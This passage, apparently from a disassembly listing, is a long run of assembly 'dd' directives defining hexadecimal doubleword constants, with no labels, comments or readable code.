		dd 0CCC008C4h, 0B025DA79h, 0D478A0F0h, 19696206h, 0A4F0C27Ah
		dd 7BCC495h, 883BFAA7h,	47C75167h, 47FCCF2h, 459E291Ch
		dd 0B0E6A89Ch, 12FC0950h, 20792A4h, 7DD9EAA0h, 0CA00022Bh
		dd 9A6502B0h, 101F3C61h, 1890C4EEh, 208FB2D4h, 0B619A715h
		dd 306051CCh, 0B0BE91D8h, 0A0EA50D6h, 80A89C83h, 46E0B1CEh
		dd 0DB71EDD7h, 8DD6E900h, 829ADC44h, 19FE0162h,	3729E45Ch
		dd 0AC442E1Ch, 1513FBE6h, 4F10D485h, 0A0C06240h, 0A85AB3h
		dd 0E17FE837h, 770A62FEh, 0D8B8B766h, 5C989821h, 79C4243Fh
		dd 1E8FCA7h, 770CE75Bh,	0C42E24B5h, 0B34B9ECh, 0E3868F76h
		dd 5773EA58h, 6B493C22h, 5C38EB0Eh, 90B11618h, 40D54E18h
		dd 0AB0E3A04h, 37C026D6h, 0D078FEh, 769593Ch, 85D96893h
		dd 6F83889Ch, 0A8B448A8h, 37AC3Eh, 7B62C769h, 77E3D2DDh
		dd 192F68ECh, 0A57C2084h, 1E5766Fh, 0E629A2D4h,	5153E1D9h
		dd 2A5EDC98h, 8FF4ECD0h, 698A2DE4h, 1371CB0h, 2E070302h
		dd 68AB785Eh, 902BFE68h, 23484084h, 7702B601h, 39DEFF45h
		dd 32EC1217h, 0E7688457h, 8E2AF4E1h, 0C029C86Ch, 0DD7063A8h
		dd 0AD0529B0h, 0F4D1FF9Dh, 842918D1h, 0F050407Ah, 118A699Bh
		dd 99E6C41Eh, 0E8A46800h, 975C09F1h, 42E0EC28h,	0D820B6F8h
		dd 5ECFCCADh, 0C858CE69h, 0BD23C05Ah, 9057785h,	1376A24Ch
		dd 607318F0h, 6D382969h, 0B3009B6Ah, 25C74241h,	11E245Fh
		dd 3FCA477h, 3532E719h,	4C6E6F90h, 29207608h, 96A9208h
		dd 6300C9BAh, 5E0C48F4h, 2EFAFE13h, 9D1B9098h, 42118C9Fh
		dd 2FE6038Fh, 531D8925h, 0E3E5BAD2h, 0D4A6E1F4h, 0B9F0D02Bh
		dd 8203D641h, 63FE832Bh, 0B0186112h, 45F8679h, 0FD833CB8h
		dd 0AEE0655Ah, 0AF1F8F31h, 0D24B1E95h, 7EE090F8h, 76DD02DCh
		dd 81C03892h, 26B65460h, 98A641D2h, 5CE975E0h, 0D3A15A1Fh
		dd 4423E5D2h, 5745C751h, 3B349980h, 1B4A00E0h, 0D21ECF7Ah
		dd 78139F17h, 188EB6C6h, 2CB42C8h, 76867BF7h, 0D25C0230h
		dd 30C8D1C2h, 0C7EABBDFh, 0A086C04h, 6482F4D6h,	2990F03Ah
		dd 0F1E0B706h, 5CB3185Ah, 5D000C70h, 0BB69498Eh, 725979EAh
		dd 568314A8h, 8DD213D0h, 9289701Fh, 6E1C4D05h, 5AB932E0h
		dd 0A50FA15Dh, 49DAD25Fh, 71140039h, 4B8448FCh,	0C6880185h
		dd 3A4272FEh, 41CD2498h, 0F6B820B6h, 54A06C69h,	0FEAD03A0h
		dd 300847BAh, 18B2907Fh, 29E3813Ah, 3254F22Fh, 5E805C00h
		dd 70005D46h, 847C55C3h, 0F02DCF6Dh, 0D1FC40B6h, 0DC29D03Ah
		dd 0FD304112h, 690410F8h, 204DF325h, 4E840860h,	0CCB109D7h
		dd 18686274h, 718455C1h, 0AF3240D0h, 4B74AE18h,	27F3D970h
		dd 0B459E92Bh, 19720680h, 43E1A1h, 5AB48197h, 84C860B9h
		dd 0DD79800h, 86A00447h, 77B31211h, 0CB40FCF1h,	9A441087h
		dd 1D7000A3h, 5E163603h, 0D70FDA8Ah, 0A4F40910h, 52AED01Ah
		dd 0A430BD68h, 0E25F5682h, 5246438h, 7B791907h,	0A6D8D00Eh
		dd 171DB398h, 4098336Ch, 4FBF34F0h, 5FFC8118h, 50897A82h
		dd 6D44203Eh, 75E68D95h, 3A0BE3F0h, 522369A0h, 0CC6A95D0h
		dd 2DC4CDCh, 0FDF6F1BEh, 94439663h, 5BFC92DDh, 465E1874h
		dd 6DC60065h, 9A232DC3h, 0ED3710Ah, 6976A51Ch, 6EBBB8E2h
		dd 0FB44987Ch, 5AC830CFh, 2A056FC1h, 5ED15482h,	1C51F644h
		dd 4E3A1181h, 0B4482E83h, 95F67CDFh, 5764A8C7h,	138B7760h
		dd 0E44D2800h, 0A06EF4A3h, 849E152Bh, 6922D85Ah, 1C74AC00h
		dd 0EFC93F3Ch, 6A3B026Eh, 373E3D38h, 0C2AA54E1h, 0D011ECECh
		dd 38503A5Ah, 95F112D2h, 13D0C85Ch, 0C1219DE9h,	863CC82Ah
		dd 522E25A4h, 42449420h, 9456ADB3h, 0E96467Ch, 24E310C1h
		dd 68C4E5CCh, 690370A9h, 0DB5AEF6Dh, 97B95DC8h,	0FC884D4Bh
		dd 67E80081h, 79297C60h, 0AF006D9Bh, 36761C32h,	9858254h
		dd 4D25647h, 30A7B850h,	0F0605F44h, 3638C96Eh, 48862FF1h
		dd 0CE8AA4h, 2116278Bh,	569F34FEh, 0E6509900h, 45D2C7E3h
		dd 0C1DE5A06h, 237A226Ch, 0ECB20414h, 3CB78A96h, 23D42F5Fh
		dd 0C5CF0729h, 0F17280F5h, 824E3E78h, 0E0F86052h, 0EB1D9720h
		dd 5C4B25A4h, 0BD50466Ch, 23F04C13h, 2400BD3Ah,	0B37DEA4Fh
		dd 2D42EA6h, 8412DEACh
		dd 0BCF139D6h, 8418FAD9h, 38751305h, 0CA0B1A0h,	0C4B23859h
		dd 0F13842CBh, 0C866582Dh, 473AB625h, 33966214h, 240E18h
		dd 21FB1825h, 0D5EAD883h, 0A62D79C1h, 8E2F55F4h, 0D42B5EA4h
		dd 0A8092F23h, 8DAD2h, 71C0D74h, 38E66549h, 0B347DC00h
		dd 2DF3D41Dh, 0CE900D8h, 3F4E614Fh, 0E19D7191h,	0C102DB0Ch
		dd 0BD17B160h, 6AE04095h, 0F8342084h, 2156609Eh, 0AC8032FAh
		dd 84D4115Fh, 0A60625B8h, 960978E0h, 70F3645Eh,	44E88448h
		dd 0A7E11E8Ch, 12576E4Ch, 99D4D1B5h, 0CBB0463h,	5091FEDCh
		dd 0E1E40D00h, 236AECF9h, 0C9E94C8Fh, 98803F02h, 0E9406203h
		dd 0B6134683h, 0BCAD645Ch, 0E9850113h, 0CCB28710h, 0F17198FFh
		dd 91C403Eh, 0EE32CE1Eh, 57EC49E5h, 0A604B07Dh,	0AC04D1FAh
		dd 2A158470h, 2FC45ABh,	0B244B36Bh, 0EEAC335Dh,	88B42C20h
		dd 4F00E22h, 1BC0450Dh,	0AF97C6Dh, 0A5EC6201h, 2F7056AAh
		dd 1486F3D8h, 0C44F138Ch, 0D9153501h, 22CEBE8Eh, 62A0032Ch
		dd 984F5EE0h, 798A9Ch, 0BACCAF53h, 808C8223h, 0DC0064E4h
		dd 4AF7C66Bh, 79E1968h,	0ABC2A39Ch, 0EC2EF542h,	25820B0h
		dd 0F1E81F63h, 22551AC5h, 3362810h, 0AF8DAB6h, 0E4008BE3h
		dd 0EB48523Bh, 0EE1B2450h, 35170B26h, 0FCD1EEFEh, 0DCB8B002h
		dd 9EC7C62h, 844071Dh, 0E820C084h, 44B1974Dh, 7A79FCCFh
		dd 44845E5Eh, 0DE191C33h, 0D864F930h, 0F0CF4FB7h, 0F4A836C4h
		dd 6D5A0441h, 18A3B835h, 0D6E3B90Fh, 5E7A4C05h,	0E30C16F0h
		dd 36C6025Ch, 741A09E6h, 0D4123F40h, 532827B2h,	0B1C9CE1Fh
		dd 0D88D2B1Dh, 2853708Bh, 91956CCEh, 382001E0h,	203252CDh
		dd 4D7096C2h, 2669A221h, 0E60EC107h, 3A188158h,	8936F48Fh
		dd 0FD856479h, 66C00E69h, 40CCD6D0h, 84D948E5h,	0DC51259Ch
		dd 37186279h, 0CB0465E6h, 5EC25975h, 0B058B481h, 666E7910h
		dd 39A1880h, 8C3E2D0Bh,	1EF02BF0h, 6974CAE6h, 0B8C10100h
		dd 0F365670Ch, 784D0774h, 0B43A096Ch, 78E83C6h,	1FCD211Eh
		dd 1C2D81C1h, 0E0E78909h, 0E8C82979h, 0DC022DCBh, 8CD854A0h
		dd 6400D461h, 0BCB77D0Ah, 0B51A81h, 701223EBh, 0D5E4C938h
		dd 1901D0FAh, 0A4285456h, 1C703EF4h, 20E800F9h,	93F02DF5h
		dd 0B802BBCFh, 1E1788D0h, 0F495D58Bh, 78F180D2h, 0C4862F54h
		dd 81D9F508h, 88EAD668h, 0CF89408h, 0BC203CF3h,	18208C48h
		dd 0FD08922Ch, 4720C6D3h, 832008E9h, 0C6BC7910h, 8227D30h
		dd 2084B820h, 0AD312961h, 0D84D28DEh, 0F43208BCh, 0E004E579h
		dd 689F7846h, 36916A62h, 30B802FBh, 10FD5703h, 18390D10h
		dd 4630B9C7h, 0DF748013h, 804F6F80h, 71CCF030h,	63231075h
		dd 0A9C130A3h, 2062087Fh, 39C6518h, 103F4A7Dh, 419AC0C0h
		dd 7B0CD89h, 20500376h,	972091B6h, 9BD636B4h, 0EB318189h
		dd 95B5108Ah, 0A2360888h, 3871871Dh, 289CF11Dh,	0FC087101h
		dd 28188C3Bh, 415728A7h, 8A7CCF8Eh, 46590E65h, 0C4ACE04Ah
		dd 0C148188h, 0D221DB4Dh, 0C51A1C8h, 5910EFFEh,	8D08FF63h
		dd 9B5010A6h, 216C1018h, 88F6718h, 0A480449Dh, 0F091D143h
		dd 8F97618h, 21C82A49h,	32180C34h, 0D7669F08h, 31101FD1h
		dd 52087C44h, 91C856FCh, 80BF3231h, 9A01D4E3h, 1005033Ah
		dd 1B3DC4F9h, 0D320ED11h, 0C51819A4h, 980F31EEh, 0A089CD08h
		dd 95428131h, 2AE807F9h, 0AB31C849h, 824E08ADh,	7B5E188Ch
		dd 79CD3308h, 18EF59FEh, 83E2AA1h, 1D803309h, 3F41C897h
		dd 584AE212h, 2995DCAEh, 506119ACh, 9C24D320h, 8456522h
		dd 14E0468Bh, 3D331041h, 86EA30E4h, 44704908h, 64948D2Ah
		dd 91B5B929h, 8C466B70h, 18AC2B08h, 0E01B40A9h,	661CDC49h
		dd 5461C029h, 4030EC85h, 31CC1588h, 0C62B690Eh,	87EAB99h
		dd 24882C49h, 1398C061h, 0C6EC17F1h, 8060810h, 9811CF66h
		dd 11753279h, 0D4A60908h, 43271C2h, 49A410EBh, 20342AD4h
		dd 30FA4DA1h, 6538BC44h, 4CFC188Bh, 7A1F7ACh, 0F3640C9Ah
		dd 3C92ECB9h, 85C8A633h, 217F6689h, 0CA325969h,	40B3143h
		dd 3508D2F7h, 0E152868h, 3460B9DDh, 4AD1039Ah, 92E483B0h
		dd 0D0085D86h, 0E80F2A48h, 85A7580Bh, 59B41083h, 0C87616BAh
		dd 0EF8C4038h, 1B90CEB9h, 713510C0h, 150FF17h, 14D82FCDh
		dd 74F0028Ch, 0D8B07254h, 0DD67F00h, 0E4983887h, 0FCE4BF9Fh
		dd 0A852A704h, 0DCD48A02h, 24A6D8C0h, 5CEB0C0h,	0BDC77EC6h
		dd 0F0DAC00Ah, 330B55B7h, 1F57E7h, 40C06AB4h, 0F90F00C8h
		dd 0AE82CCA1h, 0E4009013h, 0CA47CF22h, 2C8A09h,	0C57A96B3h
		dd 0D0CDE0FDh, 0AD3090B0h, 903B4092h, 84220BE5h, 60020456h
		dd 74504350h, 335DB205h, 6C9732F6h, 0B95B1E40h,	196D008Fh
		dd 88B0B2BFh, 5280BD79h, 0F9F40036h, 773858A4h,	0BA00DDE6h
		dd 0D65BB86Bh, 10679451h, 1E4E78h, 5C2F3EBh, 0BAB163h
		dd 611FD8CAh, 0BE5FF6Eh, 4D802062h, 0B3A6611Ah,	9334A30h
		dd 2E38FD7h, 0ACF73C84h, 0BDFE00D0h, 0B38884ABh, 0BE88CF93h
		dd 3DE3CB00h, 265042D2h, 840010ACh, 59092F9Eh, 1FFDFA37h
		dd 804B4Ah, 9F4C5BA4h, 5120E5EEh, 23A7D50h, 6D376519h
		dd 2CE1AC3Ch, 0FEC1886Bh, 5AE50F6Eh, 0A9931085h, 4BBD0900h
		dd 24505Eh, 0F49439D8h,	88293AEBh, 58763801h, 0C2317870h
		dd 0F9CC8053h, 30203B4Eh, 1DF60EABh, 0F100566Ah, 0C55D8BF2h
		dd 0A4C65C1Ch, 0EC1400FBh, 0D26177E9h, 8712066Eh, 1178A1D0h
		dd 48608890h, 3A55AC79h, 0A0EA6083h, 20E6031Eh,	56A85154h
		dd 4C0BA57Dh, 355DF31h,	3E9469D1h, 2002EE19h, 0F649E5DBh
		dd 1711F880h, 797CCCCFh, 99C8412h, 0D2520401h, 708F325Ah
		dd 5B008390h, 29E5A770h, 0A4686A60h, 0A3E7328Dh, 0AC1024D1h
		dd 4ABC1224h, 0BE43528h, 0B8506183h, 30FDE002h,	5EBAB753h
		dd 71440424h, 0B178C40Ah, 5E84008Ch, 620CC490h,	3872E784h
		dd 786817BBh, 0F50CA496h, 0E80EB27Dh, 0FE4DD836h, 0D4031957h
		dd 0F96D2F45h, 0BCD8D2BDh, 0C03318B6h, 0EBCB28B8h, 9036EE4h
		dd 950AD486h, 758F388h,	0B9F54A50h, 7D124154h, 0E6D2EDF1h
		dd 0E09A4DCh, 1008025Bh, 4004490h, 0D18FF635h, 0A450818Ah
		dd 0CD18826Bh, 400E3EEDh, 49C2D220h, 8E304868h,	0BCDFEFB8h
		dd 79008AF2h, 59D21F63h, 17D87194h, 0B4012E6Fh,	28777864h
		dd 2DF450C7h, 50DE2200h, 186F9E12h, 164E10D8h, 3513DC91h
		dd 0D3F61402h, 0FD50D84Dh, 0DC050ECAh, 500CBC12h, 0CA27D014h
		dd 84293Eh, 2C6B5030h, 628E0B08h, 4C50EE78h, 0D0C41B3Ah
		dd 0FF502FECh, 2397544Ch, 78CECD9Ch, 0FA9492E8h, 0B2D18072h
		dd 0E4251F0Eh, 0DF868262h, 3D04C092h, 0FD20CABCh, 8688208Ah
		dd 3BF4ABA4h, 0BD00C138h, 8B26FAA3h, 9600073Fh,	24A83CAEh
		dd 18F803B4h, 0F9C0E679h, 2049D84Bh, 0B8212884h, 70A0BB5Bh
		dd 9A7F7C70h, 0B2BA0F5Ch, 1F8888AFh, 7866C002h,	1F705CF4h
		dd 72EE8415h, 0E52C90D4h, 84E21F92h, 307F1B30h,	3E6C172Fh
		dd 8D3B237Ah, 6D3F067Ah, 21B6A684h, 0AC0ADA14h,	43CF0968h
		dd 0C8D8A066h, 3DC4C265h, 62803C53h, 0FAB7900Ah, 372966AEh
		dd 7C89F8D7h, 0EB7080DAh, 45ECF0h, 79F9FA0Ch, 513D3754h
		dd 0C4871F00h, 14E06510h, 5DFB035Ch, 718B733Ch,	99CE7800h
		dd 2C900BFAh, 61A418ADh, 0E81B0845h, 39AF3Eh, 799735BEh
		dd 0A73D42h, 33F2E9EBh,	163F568Dh, 17A8470Eh, 97B42319h
		dd 0A78A9371h, 834F7CF0h
		dd 0A610B136h, 4B551240h, 0ECE01CB0h, 0CC248423h, 5880F077h
		dd 0D2700256h, 0C0BF483Ch, 59613804h, 0F4088971h, 0C0159441h
		dd 28A84FCDh, 0A491BCE6h, 20AD2600h, 60E4786Bh,	0BD4FE04Eh
		dd 18B009B5h, 74E3F124h, 16E23414h, 382069B4h, 0C0B38B0Ah
		dd 4E2AF6A9h, 8A3A0506h, 42B8C899h, 0B4CF0C3Ch,	145D93Dh
		dd 0D3444733h, 395E587Bh, 2BD90B70h, 8CA88E2Fh,	1D6B8885h
		dd 0A64434A5h, 13D50B8Ch, 0C75D0018h, 0E0B3D900h, 0CCEF2D62h
		dd 0A0EB008Dh, 0C53A37B1h, 504ECFBAh, 0ECD03C90h, 0BBB33E90h
		dd 0ADF07F03h, 0FEB04985h, 2DF6F24Ch, 31BEC01h,	1D78206Eh
		dd 600B06Ch, 0B8D030A6h, 9E523ABCh, 5512846Ch, 0E000E054h
		dd 28F24057h, 3B02F686h, 9490C551h, 8011E2E5h, 97720E40h
		dd 8360C262h, 106A47DCh, 0BE84A081h, 1D783356h,	946EE283h
		dd 55C571B2h, 0B31D0E6h, 8C1D4818h, 72F50430h, 88931E07h
		dd 0BB38F4CCh, 9B840F1Ch, 0C0BC51D2h, 18071B04h, 27A8902Ah
		dd 0D100B66Dh, 2DE35D23h, 1DCE82E0h, 417E7AACh,	4D72F0A0h
		dd 0E9A450B4h, 0C1003726h, 3E7CBA20h, 1E4AB56Dh, 8041A1ECh
		dd 9C3A07B0h, 4062E9D0h, 8194BA11h, 19E68414h, 3C87880h
		dd 0D2345345h, 48C0DD4Bh, 0AE9744h, 0E9E42695h,	0EBBA1E5Ah
		dd 15721A00h, 676D7F2Fh, 1B8E7D50h, 10C7A73Ch, 47F30298h
		dd 38003C90h, 2837942Bh, 0DDB72E84h, 0E7BF968h,	0D2FA698Bh
		dd 4680E682h, 0CDBAD882h, 424A2DDh, 1AD464F9h, 909E67D2h
		dd 0CF17406Ch, 60415CF8h, 87651C76h, 3B13A807h,	0D61A881Ch
		dd 0AEF8C038h, 0B881D4A9h, 1685E448h, 2154E5ABh, 6B400058h
		dd 0F09961F0h, 0FD039826h, 1FC030D1h, 249D250h,	0AA6DD863h
		dd 89362084h, 0D2398604h, 801041ADh, 7E2B709Ch,	0DCA10077h
		dd 442D9680h, 3B185823h, 3C107E68h, 19502E9Dh, 528A00B4h
		dd 0E5B637CBh, 0F8ECBE24h, 76906801h, 1829DEE6h, 568D22Eh
		dd 0C88B106Ah, 1F162F0Ch, 2803CE6Dh, 0F434838Dh, 0C2ED6092h
		dd 254C60D8h, 12A807ECh, 4057C94Dh, 11F0D0A6h, 65B811C5h
		dd 7CC05CC4h, 0A8C79906h, 812DDDB8h, 0D4B22B70h, 0C9A8EB2Ch
		dd 719B3C27h, 0D61252AFh, 21E230C0h, 6C7FBD00h,	4AADF1E9h
		dd 0D822F3D5h, 37E2B87Dh, 27B82D33h, 86E540B4h,	468042A0h
		dd 528E2CD3h, 6DCA5BBCh, 50635C62h, 500C88FCh, 0C18662Eh
		dd 88C12D65h, 5444F2ECh, 0D2536090h, 0B6E32002h, 6CBE941Fh
		dd 8A1684C4h, 2EF61490h, 886B2464h, 6EFC013Ch, 20572B9Ch
		dd 9388D048h, 714A88B4h, 370CBB00h, 0ED7D18F9h,	527500F2h
		dd 0EBB2D938h, 78195AF3h, 9E3028F6h, 9A04D1FCh,	6DD00388h
		dd 0E293D2B4h, 0E41F581Eh, 12CFB989h, 998C6248h, 23118388h
		dd 0EC3874EAh, 8074A33Fh, 0CABA557Bh, 7CEDB998h, 6CB3A5Ch
		dd 0D2863203h, 383BBEFCh, 9970E7D0h, 31D80508h,	298F194h
		dd 0A8402D68h, 789A5E84h, 0C4C304Ch, 0AE37471Bh, 7E6600A5h
		dd 5A09BE46h, 250CC911h, 408E0678h, 483A5C61h, 0A610232Ch
		dd 0A8FB1650h, 2B8D82ECh, 60CCBA3Fh, 4C219320h,	98391874h
		dd 973A50C0h, 83E84CFDh, 6F96DE7h, 0BE785B10h, 0F430706Fh
		dd 3C849845h, 5138CB3Bh, 6FBAE0A1h, 263821D2h, 0F8010030h
		dd 396951E7h, 5ED00B6Ch, 7C836AB5h, 79134DC8h, 0C8C1BD6h
		dd 16240073h, 905A0854h, 781593FEh, 0D07D6Dh, 7544BCCBh
		dd 26AC39CAh, 95787288h, 5052982Fh, 22F9037Bh, 783EF4CEh
		dd 16B0B0A4h, 2949AF0Fh, 8C8894ECh, 905F7890h, 41E2C60h
		dd 64311474h, 86A40FD7h, 0CC5B12DFh, 0D213C7D0h, 9C21D891h
		dd 0CD7011A8h, 1E16E037h, 0C5B55427h, 12D82E85h, 376C1308h
		dd 0E25104A4h, 0D82F2E10h, 0B884D865h, 5F1D0481h, 9026C943h
		dd 2C24C371h, 39A9C7h, 0C873B9D4h, 8B03CD57h, 2B6BF4EBh
		dd 9A19E178h, 39502060h, 0C05F88Fh, 411B3573h, 7FF0A7A4h
		dd 8C39C04Eh, 0A18EC96h, 2494C0D8h, 1FF8654Dh, 780BBE3Ch
		dd 0E87C9C23h, 4028921Ah, 242C3F0Ch, 6298E9ECh,	0FC417B69h
		dd 3DF033C2h, 43CAC48h,	3CC31D44h, 4F405040h, 0E0BC5E32h
		dd 0EB03507Ch, 0D2B98F35h, 0D090B442h, 67F51BDh, 0D0E5FDC0h
		dd 0BCA06882h, 55EE6E67h, 68E9580h, 6AD26987h, 30846812h
		dd 47427892h, 33C3810h,	4DFF5D02h, 0A875D379h, 54786430h
		dd 2E1790EEh, 69D5A52h,	797E4CE5h, 99054298h, 2684645Dh
		dd 0B060CFCh, 78662CD2h, 16CE3894h, 1EFA0401h, 5874A478h
		dd 5AD00EE6h, 59A55F71h, 62940170h, 0F00B7210h,	3D01F431h
		dd 0AD920CCCh, 9C50A0D2h, 962E0526h, 9C012510h,	8297BF88h
		dd 58D2BC68h, 0B4048B7h, 52B7D93h, 787FCAEFh, 14A4ECFAh
		dd 83F0AAE5h, 2172D2h, 5F3BC158h, 0D6AB8AF8h, 9B7E2A00h
		dd 0CCE855A9h, 72B900FFh, 56DE5261h, 0D14CF544h, 344998C8h
		dd 0BBEC01h, 6C5AC163h,	81841427h, 0B284859h, 98920ACCh
		dd 8216AE24h, 0F7000858h, 506042A9h, 15298BAh, 843623C2h
		dd 60881382h, 5416460Ch, 0D400B33Fh, 0C12B8B8Dh, 0A2E51BE2h
		dd 3D8A486Bh, 0EB4CA0C4h, 26FCD170h, 1E097C5Fh,	4BE810B4h
		dd 0D8104073h, 0FE79C090h, 70145492h, 2CB02C84h, 0D261B4ECh
		dd 0E434FAB2h, 0BAB40070h, 0B21BB78h, 0CD03AC23h, 8684103Eh
		dd 5F2B8077h, 0FA7212EEh, 16B0562Fh, 0A054240Ch, 78186A1Ch
		dd 0F4216043h, 0E3F2039Dh, 0D0A23C19h, 36755BC0h, 9EB28700h
		dd 0D2D4A715h, 0BA580078h, 1AAF2D7Ah, 0CB00ABF5h, 0F9B91B2Ah
		dd 209460h, 890AF1A1h, 5D555C3Bh, 446111C0h, 2BBBAABh
		dd 6C25F0ADh, 38E0B7D6h, 6C96E9E7h, 9135AC0Bh, 812B6408h
		dd 7341F4h, 0FA272079h,	0FEBA0002h, 8017570Ch, 52008CD8h
		dd 0B04A40F5h, 4F7D385Bh, 0E4B04058h, 1208AF29h, 4B10FC61h
		dd 0D828274Ch, 7B57110h, 9762F1B9h, 2948A690h, 0EBF80002h
		dd 0D293C9F5h, 3091B279h, 4D72FA84h, 0A860DCE5h, 459B09D8h
		dd 0C48A8943h, 0CBFEC700h, 184160B2h, 7828CBh, 3BF07C36h
		dd 383D065h, 2BA03CAAh,	0DE8E3A1h, 8F097A0Bh, 0C25AF76Bh
		dd 0BC94C8B0h, 1D22075Dh, 0D775D2BEh, 7021ABB7h, 6355F54Bh
		dd 0F8207BB8h, 60100057h, 16910CF0h, 0F17D4E2Fh, 7866C40Bh
		dd 120C7684h, 36A4C979h, 13605630h, 0C012CFC0h,	0BFBB8C81h
		dd 0C9E582Ch, 651079F0h, 0D74F689Ch, 5B1384A9h,	1A1000A3h
		dd 0D2544E35h, 25508A7Ch, 53603610h, 28ADB870h,	504109FFh
		dd 0CC285E96h, 0F4C100A8h, 1C1A5586h, 0CBD7810h, 242B3C50h
		dd 8472D0h, 2894BF92h, 0F300EC53h, 98A0ADA5h, 0F1AA612h
		dd 6C2650AFh, 0DAD0D262h, 0A882E88Bh, 405B4DB8h, 69810684h
		dd 8089CF09h, 0C14E3444h, 455DBC5Eh, 0BCE88C2Ch, 88A9B201h
		dd 40968481h, 0B438C254h, 0BE2174D0h, 0BCB2602h, 84B8372Bh
		dd 3A620BD2h, 862B9551h, 0B20CEB0h, 0A5E67F40h,	3D9050C0h
		dd 6A009491h, 6272EAE1h, 0C71A801Ch, 584EF378h,	30F02084h
		dd 0C56D05D8h, 10AEF0D2h, 0C440C080h, 938CB1CCh, 810154Ch
		dd 0C4AE780Ch, 0E777BC18h, 2F39C200h, 7F3E9DEDh, 0EC1700B4h
		dd 6A062CD0h, 7900FA68h, 0B6453752h, 2FE32E6Ch,	0AC40B072h
		dd 8C92A83Bh, 6709E718h, 2159971h, 63C46A4Ah, 0ECE04E38h
		dd 0E1A04CD0h, 0CF00B384h, 0BEDB837h, 31D25B8Dh, 19386A8Eh
		dd 0CE5EF0B7h, 0E6E5F015h, 266F0288h, 50A45084h, 0B88C8360h
		dd 17B4B45h, 373BAF4Ch
		dd 0D0514F7Eh, 0E0CC5AE6h, 4902F946h, 32116C2Ch, 0EE3F2066h
		dd 0D0508064h, 0B21F5CBEh, 2031F024h, 0D0402D53h, 26D2C2FEh
		dd 6414E137h, 34C8F55Dh, 5300E32Ch, 62F5ADC6h, 777477F6h
		dd 62009140h, 0C89275BAh, 38B000F0h, 0CC919D00h, 49A4F62Ch
		dd 0D2C409A7h, 8CCED6E7h, 30F63724h, 0D84B0E42h, 0C28D48DCh
		dd 4748A402h, 8853D54Ah, 0AE3E8384h, 0FF26FCA2h, 90721D5Ch
		dd 0A8EB000Dh, 4E071F3Eh, 0ACC6005Ch, 638FC96Dh, 7E0054B2h
		dd 3AED2D99h, 1D7F9D45h, 0C3595DD8h, 0B84A13CAh, 0F0A4C1BDh
		dd 0CED86C37h, 9109804h, 5EC80E8Dh, 0B72A9095h,	0A29288C4h
		dd 80056716h, 988C8C1Eh, 7869407Bh, 0A093C730h,	992DE71Bh
		dd 9282618h, 0FCA3E3DDh, 0B0C0253Ah, 4D4096D2h,	8C43510Eh
		dd 0C8530878h, 0E5A73802h, 868491Ah, 0BC099CABh, 0EC59A3h
		dd 0BB693C2Bh, 0A2C1F8D2h, 0B4B8E6BCh, 0F0D00AB4h, 21CF64E4h
		dd 3820641Dh, 0E39840E1h, 90624802h, 4A66597Bh,	1EAB6114h
		dd 172D834h, 34192268h,	4858E650h, 61C9836Ch, 8F6C808Ah
		dd 18AC293Bh, 0C0402ACEh, 0B28A2769h, 0E4F8C224h, 7E88080h
		dd 4C5D0163h, 9C88A73Ah, 0FA2024C5h, 729FDA26h,	5066901Fh
		dd 40D4BC70h, 0E62D72B6h, 12F880DBh, 55E71598h,	2429F4CBh
		dd 3884941Ah, 583D3C0h,	88D18A09h, 0BD2CE0F2h, 0CA9829D2h
		dd 0D8F740A8h, 0DE02FE8Dh, 0BFB7FAA7h, 0AF284012h, 54D458DDh
		dd 141D6A01h, 87215FE7h, 63ABFA70h, 0CF073F10h,	4D21875h
		dd 442358DFh, 59207148h, 6ED80578h, 0FC22FA2Eh,	1860F110h
		dd 0C51BF031h, 38D87039h, 0A14502Eh, 0ACB38609h, 48BC9265h
		dd 719A0h, 0EF4B88B6h, 39E686BEh, 7810DF7Fh, 97DC3B2h
		dd 1C10D240h, 4F0560A0h, 39055359h, 71D05504h, 88A600C0h
		dd 88656052h, 0CEF5FCC5h, 115EA700h, 9383BC74h,	0B5528F1h
		dd 63BE12B4h, 0D35F1778h, 629834B0h, 774AD1CBh,	2431D000h
		dd 582379C1h, 8B00BC18h, 782CA1ABh, 39CA1061h, 5D63ECEDh
		dd 61391230h, 0AA1C4B09h, 0C8F208E3h, 7B18CF01h, 1EC630A6h
		dd 3BF340FFh, 495B6246h, 3ED6AC00h, 0BBEEB420h,	5E8101CEh
		dd 0F3E422EBh, 12E038B7h, 50406C61h, 689AB573h,	483026CFh
		dd 0B441A514h, 9A4C48D0h, 0D534FCFBh, 9C60515Eh, 995BB584h
		dd 49E5027Ch, 78E07F7Ah, 9F00EEB6h, 2DC661D6h, 3AC93Fh
		dd 5F2354B1h, 0D2532A59h, 3CFC5C24h, 6126898Fh,	7DE70F90h
		dd 1D8ED6B3h, 3278858Dh, 0C4E19500h, 7DD2013Dh,	0F41849EBh
		dd 9862C484h, 958BE28h,	389BCCF8h, 0F43141EDh, 3C12CC62h
		dd 100461A9h, 270B45E0h, 0FA3E6080h, 0BA3C8AA4h, 730481CAh
		dd 4340841Dh, 0D5A05882h, 0B2C08D0Ah, 0ACB4B753h, 22EE20EFh
		dd 3FA1ACh, 6C5C7010h, 0E1E735E9h, 6E16A89Eh, 6521C00h
		dd 2A5F798h, 0E5FE26D8h, 0D0A05D3Bh, 0A60E59D0h, 0D577A0B0h
		dd 508F39h, 256D8EEBh, 0F2138B2Dh, 0EC3F4CEFh, 0A04BC8C0h
		dd 2F050C1Eh, 1DE60121h, 3660B0h, 9880F8D1h, 3F2B9190h
		dd 0B8834B1h, 2D150516h, 0D278C88Fh, 50686950h,	70CCD855h
		dd 0E39F208h, 5C02A461h, 8BB7010Bh, 9A076C6h, 2C82031Bh
		dd 0A88B283Eh, 0C8837018h, 6E3CAA4Dh, 7B455DBAh, 0BCB8D778h
		dd 58E9CE00h, 0B3568A69h, 370E9679h, 0E01E8DECh, 0F684224Dh
		dd 0BC40CB75h, 0E4F99CE1h, 1B00572Ch, 0C5EDCEBAh, 2450D05Bh
		dd 129C54A0h, 3740B016h, 78249095h, 0C5A75EE3h,	0E5ACF030h
		dd 5CA48295h, 180287Bh,	71A2E719h, 61E6C811h, 94CC2E54h
		dd 0E9CD68A0h, 5AF44058h, 28E78844h, 3C9C00EEh,	9FCBD0A5h
		dd 3B34FB07h, 0E721A11Ah, 0C844E923h, 0B4D1C4A9h, 92FC5C5Ah
		dd 7F0881Ch, 135CF82Dh,	34F18068h, 3193045Bh, 80DE72D2h
		dd 7DA020A4h, 0DF84B300h, 4723452Eh, 0F24D74A4h, 44C84FDCh
		dd 0FDAA30Ch, 0C264862Ch, 49B35E18h, 0C0E0ACA4h, 0D160FBD2h
